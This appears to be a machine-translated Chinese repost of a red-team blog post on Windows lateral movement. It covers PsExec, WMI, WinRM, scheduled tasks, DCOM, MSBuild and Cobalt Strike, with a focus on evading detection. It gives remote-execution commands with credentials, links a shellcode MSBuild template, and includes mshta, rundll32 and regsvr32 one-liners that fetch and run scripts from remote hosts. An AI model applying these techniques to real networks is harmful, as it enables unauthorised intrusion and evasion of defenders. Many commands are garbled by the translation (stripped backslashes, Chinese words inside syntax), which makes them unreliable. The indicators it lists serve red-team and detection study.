进攻性横向移动

2022-01-19 16:07:08 浏览数 (1)

横向移动是从一个受感染的宿主移动到另一个宿主的过程。渗透测试人员和红队人员通常通过执行 powershell.exe 在远程主机上运行 base64 编码命令来完成此操作,这将返回一个信标。问题在于攻击性 PowerShell 不再是一个新概念,即使是中等成熟的商店也会检测到它并迅速关闭它,或者任何半体面的 AV 产品都会在运行恶意命令之前将其杀死。横向移动的困难在于具有良好的操作安全性 (OpSec),这意味着生成尽可能少的日志,或者生成看起来正常的日志,即隐藏在视线范围内以避免被发现。这篇博文的目的不仅是展示技术,但要显示幕后发生的事情以及与之相关的任何高级指标。我将在这篇文章中引用一些 Cobalt Strike 语法,因为它是我们主要用于 C2 的语法,但是 Cobalt Strike 的内置横向移动技术是相当嘈杂,对 OpSec 不太友好。另外,我知道不是每个人都有 Cobalt Strike,所以在大多数示例中也引用了 Meterpreter,但这些技术是通用的。

那里有几种不同的横向移动技术,我将尝试从高层次的概述中介绍大的以及它们如何工作,但在介绍这些方法之前,让我们澄清一些术语。

  • 命名管道一种进程通过 SMB (TCP 445) 相互通信的方式。在 OSI 模型的第 5 层上运行。与端口监听连接的方式类似,命名管道也可以监听请求。
  • 访问令牌根据 Microsoft 的文档访问令牌是描述进程或线程的安全上下文的令牌中的信息包括与进程或线程关联的用户帐户的身份和权限。当用户登录时,系统通过将其与存储在安全数据库中的信息进行比较来验证用户的密码。当用户的凭据通过身份验证时,系统会生成访问令牌。代表此用户执行的每个进程都有此访问令牌的副本。

以另一种方式,它包含您的身份并说明您可以在系统上使用和不能使用的内容。在不深入研究 Windows 身份验证的情况下,访问令牌引用登录会话,这是用户登录 Windows 时创建的。

  • 网络登录(类型 3):网络登录发生在帐户向远程系统/服务进行身份验证时。在网络身份验证期间,可重用凭据不会发送到远程系统。因此,当用户通过网络登录登录到远程系统时,用户的凭据将不会出现在远程系统上以执行进一步的身份验证。这带来了双跳问题,这意味着如果我们有一个通过网络登录连接到一个目标的单线,然后还通过 SMB 进行连接,没有凭据可以通过 SMB 登录,因此登录失败。下面进一步显示示例。

执行程序

PsExec来自微软的 Sysinternals套件,允许用户使用命名管道通过端口 445 (SMB) 在远程主机上执行 PowerShell。它首先通过 SMB 连接到目标上的 ADMIN$ 共享,上传 PSEXESVC.exe 并使用服务控制管理器启动在远程系统上创建命名管道的 .exe,最后使用该管道进行 I/O。

语法示例如下:

代码语言:javascript复制
psexec \test.domain -u 域用户 -p 密码 ipconfig

Cobalt Strike (CS) 的处理方式略有不同。它首先创建一个 PowerShell 脚本,该脚本将对嵌入式有效负载进行 base64 编码,该有效负载从内存运行并压缩为单线,连接到 ADMIN$ 或 C$ 共享并运行 PowerShell 命令,如下所示

这样做的问题是它创建了一个服务并运行了一个 base64 编码的命令,这是不正常的,会引发各种警报并生成日志。此外,发送的命令是通过命名管道发送的,命名管道在 CS 中有一个默认名称(但可以更改)。Red Canary写了一篇很棒的文章来检测它。

Cobalt Strike 有两个 PsExec 内置程序,一个称为 PsExec,另一个称为 PsExec (psh)。两者之间的区别,尽管 CS 文档说,PsExec (psh) 正在调用 Powershell.exe,并且您的信标将作为 Powershell.exe 进程运行,而没有 (psh) 的 PsExec 将作为 rundll32.exe 运行。

默认情况下,PsExec 将生成 rundll32.exe 进程以从中运行。它不会将 DLL 放到磁盘或任何东西上,所以从蓝队的角度来看,如果 rundll32.exe 在没有参数的情况下运行,这是非常可疑的。

SC

服务控制器正是它听起来的样子——它控制服务。这对于攻击者来说特别有用,因为可以通过 SMB 调度任务,因此启动远程服务的语法是:

代码语言:javascript复制
sc \ host.domain创建ExampleService binpath= “c:windowssystem32 calc.exe ” 
sc \ host.domain启动 ExampleService

唯一需要注意的是,可执行文件必须是专门的服务二进制文件。服务二进制文件的不同之处在于它们必须“签入”到服务控制管理器 (SCM),如果不签入,它将退出执行。因此,如果为此使用非服务二进制文件,它将作为代理/信标返回一秒钟,然后死亡。

在 CS 中,您可以专门制作服务可执行文件:

这是相同的攻击,但使用 Metasploit

WMI

Windows Management Instrumentation (WMI) 内置于 Windows 中,允许通过 WMI 服务远程访问 Windows 组件。通过在端口 135 上使用远程过程调用 (RPC) 进行远程访问(以及稍后的临时端口)进行通信,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。它可以通过 wmic.exe 直接进行交互。示例 WMI 查询如下所示:

代码语言:javascript复制
wmic /node:target.domain /user:domainuser /password:password 进程调用创建“C:WindowsSystem32calc.exe”

Cobalt Strike 利用 WMI 在目标上执行 Powershell 有效负载,因此 PowerShell.exe 将在使用 WMI 内置时打开,这是一个 OpSec 问题,因为执行的是 base64 编码的有效负载。

所以我们看到,即使通过 WMI,尽管 wmic.exe 能够通过 Powershell 在目标上运行命令,但仍会创建命名管道,那么为什么首先要创建命名管道呢?命名管道不是执行有效负载所必需的,但是 CS 创建的有效负载使用命名管道进行通信(通过 SMB)。

这只是触及 WMI 功能的表面。我的同事@mattifestation在 Blackhat 2015 期间就其功能发表了精彩的演讲,可以在这里阅读

WinRM

Windows 远程管理允许管理服务器硬件,这也是 Microsoft 通过 HTTP(S) 使用 WMI 的方式。与传统的网络流量不同,它不使用 80/443,而是使用 5985 (HTTP) 和 5986 (HTTPS)。WinRM 默认随 Windows 一起安装,但需要一些设置才能使用。服务器操作系统是个例外,因为它自 2012R2 及以后默认开启。WinRM 需要客户端上的侦听器(听起来很熟悉?),即使 WinRM 服务已启动,也必须存在侦听器才能处理请求。这可以通过 Powershell 中的命令完成,也可以通过 WMI 和 Powershell 远程完成:

代码语言:javascript复制
启用-PSRemoting -Force

从非 CS 的角度来看(用您的二进制文件替换 calc.exe):

代码语言:javascript复制
winrs -r:EXAMPLE.lab.local -u:DOMAINuser -p:password calc.exe

使用 CobaltStrike执行:

当然,问题在于它必须使用 PowerShell 启动。如果您使用远程术语,则需要通过 DCOM 或 WMI 完成。虽然打开 PowerShell 并不奇怪并且启动 WinRM 侦听器可能会被忽视,但在执行有效负载时会出现噪音部分,因为在运行 Cobalt Strike 的内置 WinRM 模块时会有一个指示器。

指标为:

代码语言:javascript复制
“c:windowssyswow64windowspowershellv1.0powershell.exe”-版本 5.1 -s -NoLogo -NoProfile

任务任务

SchTasks 是 Scheduled Tasks 的缩写,最初在端口 135 上运行,然后通过临时端口继续通信,使用 DCE/RPC 进行通信。与在 Linux 中创建 cron-job 类似,您可以安排任务发生并执行您想要的任何内容。

仅来自 PS:

代码语言:javascript复制
schtasks /create /tn ExampleTask /tr c:windowssystem32calc.exe /sc once /st 00:00 /S host.domain /RU Systemschtasks /run /tn ExampleTask /S host.domainschtasks /F /delete /tn ExampleTask /S host.domain

在 CobaltStrike 中:

代码语言:javascript复制
shell schtasks /create /tn ExampleTask /tr c:windowssystem32calc.exe /sc once /st 00:00 /S host.domain /RU Systemshell schtasks /run /tn ExampleTask /S host.domain

然后删除作业(操作!)

代码语言:javascript复制
shell schtasks /F /delete /tn ExampleTask /S host.domain

微软构建

虽然不是横向移动技术,但Casey Smith在 2016 年发现MSBuild.exe 可以与上述一些方法结合使用,以避免丢弃编码的 Powershell 命令或生成 cmd.exe。MSBuild.exe 是 Microsoft 签名的可执行文件,随 .NET 框架包一起安装。MSBuild 用于通过提供架构的 XML 文件编译/构建 C# 应用程序。从攻击者的角度来看,这用于编译 C# 代码以生成恶意二进制文件或有效负载,甚至直接从 XML 文件运行有效负载。MSBuild 也可以通过 SMB 编译,如下面的语法所示

代码语言:javascript复制
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe \host.domainpathtoXMLfile.xml

XML 模板:https ://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml

什么不起作用

代码语言:javascript复制
wmic /node:LABWIN10.lab.local /user:LABAdministrator /password:Password!进程调用创建“c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe \LAB2012DC01.LAB.localC$WindowsTempbuild.xml”

由于双跳问题,尝试使用 wmic 调用 msbuild.exe 在 SMB 上构建 XML 将失败。双跳问题发生在网络登录(类型 3)发生时,这意味着凭据实际上从未发送到远程主机。由于凭据不会发送到远程主机,因此远程主机无法向有效负载托管服务器进行身份验证。在 Cobalt Strike 中,在使用 wmic 时经常会遇到这种情况,解决方法是为该用户制作一个令牌,以便随后能够从该主机传递凭据。但是,如果没有 CS,有几个选项可以解决这个问题:

  1. 本地托管 XML 文件(拖放到磁盘)
代码语言:javascript复制
复制 C:UsersAdministratorDownloadsbuild.xml \LABWIN10.lab.localC$WindowsTempwmic /node:LABWIN10.lab.local /user:LABAdministrator /password:Password!进程调用创建“c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe C:WindowsTempbuild.xml”
  1. 通过 WebDAV 托管 XML(如下所示)
  2. 使用 PsExec
代码语言:javascript复制
psexec \ host.domain -u DomainTester -p Passw0rd c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe \host.domainC$WindowsTempbuild.xml"

在 Cobalt Strike 中,有一个 Aggressor Script 扩展,它使用 MSBuild 执行 Powershell 命令,而无需通过非托管进程(二进制编译为机器代码)生成 Powershell。这通过 WMI/wmic.exe 上传。

https://github.com/Mr-Un1k0d3r/PowerLessShell

MSBuild 的关键指标是它在 SMB 上执行,并且 MSBuild 正在通过下图所示的操作建立出站连接。

DCOM

组件对象模型 (COM) 是一种由具有不同应用程序和语言的进程使用的协议,因此它们可以相互通信。COM 对象不能通过网络使用,网络引入了分布式 COM (DCOM) 协议。我杰出的同事Matt Nelson通过 DCOM发现了一种横向移动技术,通过 Microsoft 管理控制台 (MMC) 2.0 脚本对象模型中的 ExecuteShellCommand 方法,该模型用于系统管理服务器管理功能。

可以通过以下方式调用

代码语言:javascript复制
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:WindowsSystem32Calc.exe"," 0","0","0")

DCOM使用network-logon(类型3),所以这里也遇到了双跳问题。PsExec 消除了双跳问题,因为凭据与命令一起传递并生成交互式登录会话(类型 2),但是问题在于 ExecuteShellCommand 方法只允许四个参数,因此如果传递的参数少于或多于四个在,它出错了。此外,空格必须是它们自己的参数(例如,“cmd.exe”、$null、”/c” 是三个参数),这消除了使用 PsExec 和 DCOM 执行 MSBuild 的可能性。从这里开始,有几个选择。

  1. 使用 WebDAV
  2. 将 XML 文件托管在不需要身份验证的 SMB 共享上(例如,使用Impacket 的 SMBServer.py,但很可能需要攻击者将攻击机器连接到网络上)
  3. 尝试其他类似的“ExecuteShellCommand”方法

对于 WebDAV,它仍然使用 UNC 路径,但如果 Windows 无法到达超过 445 和 139 的路径,它最终将回退到端口 80。对于 WebDAV,SSL 也是一个选项。唯一需要注意的是 WebDAV 不能在服务器上运行,因为默认情况下服务器操作系统上不存在该服务。

代码语言:javascript复制
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:windowsMicrosoft.NETFrameworkv4. 0.30319Msbuild.exe",$null,"\192.168.10.131webdavbuild.xml","7")

这通过不需要任何身份验证来访问 WebDAV 服务器(在本例中也是 C2 服务器)解决了双跳问题。

如视频所示,此方法的问题在于它产生了两个进程:mmc.exe,因为来自 MMC2.0 和 MSBuild.exe 的 DCOM 方法调用。

此外,这确实会暂时写入磁盘。Webdav 写入

C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV

并且在执行后不清理任何文件。MSBuild 临时写入

C:Users[USER]AppDataLocalTemp[RANDOM]

自行清理。这个技巧的巧妙之处在于,由于 MSBuild 使用了 Webdav,MSbuild 会清理 Webdav 创建的文件。

其他执行 DCOM 方法和防御建议在本文这里

远程文件上传

您可以生成自己的二进制文件,而不是使用内置的 Cobalt Strikes,后者(可能)更加隐蔽。这通过将 SMB 上载权限(即管理权限)上传到目标上的 C$ 共享来实现,然后您可以将无阶段二进制文件上传到并通过 wmic 执行它,如下所示。

请注意,信标不会“签入”。需要通过命令手动完成

代码语言:javascript复制
链接目标.域

没有 CS:

代码语言:javascript复制
复制 C:WindowsTempMalice.exe \target.domainC$WindowsTemp 
wmic /node:target.domain /user:domainuser /password:password 进程调用 create "C:WindowsTemp 恶意.exe”

其他代码执行选项

还有一些可能的代码执行选项,它们需要本地执行而不是远程执行,因此像 MSBuild 一样,这些必须与横向移动技术配对。

姆什塔

Mshta.exe 是 Windows 上默认安装的可执行文件,允许执行 .hta 文件。.hta 文件是 Microsoft HTML 应用程序文件,允许在 HTML 应用程序中执行 Visual Basic 脚本。Mshta 的好处是允许通过 URL 执行,并且由于它是受信任的 Microsoft 可执行文件,因此应该绕过默认的应用程序白名单。

代码语言:javascript复制
mshta.exe https://malicious.domain/runme.hta

运行dll32

这个比较有名。Rundll32.exe 再次成为受信任的 Windows 二进制文件,旨在执行 DLL 文件。可以通过 UNC WebDAV 路径甚至通过 JavaScript 指定 DLL

代码语言:javascript复制
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

由于它正在运行 DLL,因此您可以将它与其他一些用于不同技术的 DLL 配对:

  • URL.dll:可以运行.url(快捷方式)文件;也可以运行 .hta 文件
代码语言:javascript复制
rundll32.exe url.dll,OpenURL “C:WindowsTemptest.hta”
  • ieframe.dll:可以运行.url文件

.url 文件示例:

代码语言:javascript复制
[互联网快捷方式] 
URL=file:///c:windowssystem32cmd.exe
  • shdocvw.dll:也可以运行 .url 文件

Regsvr32

注册服务器用于注册和注销注册表的 DLL。Regsrv32.exe 是经过签名的 Microsoft 二进制文件,可以接受 URL 作为参数。具体来说,它将运行一个 .sct 文件,该文件是一个允许注册 COM 对象的 XML 文档。

代码语言:javascript复制
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

结论

再一次,这个列表并不全面,因为那里有更多的技术。这只是我记录一些我不知道的事情并弄清楚事情是如何运作的。在学习 Cobalt Strike 时,我了解到内置程序对 OpSec 不友好,这可能导致操作员被抓,所以我想我至少会尝试记录一些高级 IOC。

0 人点赞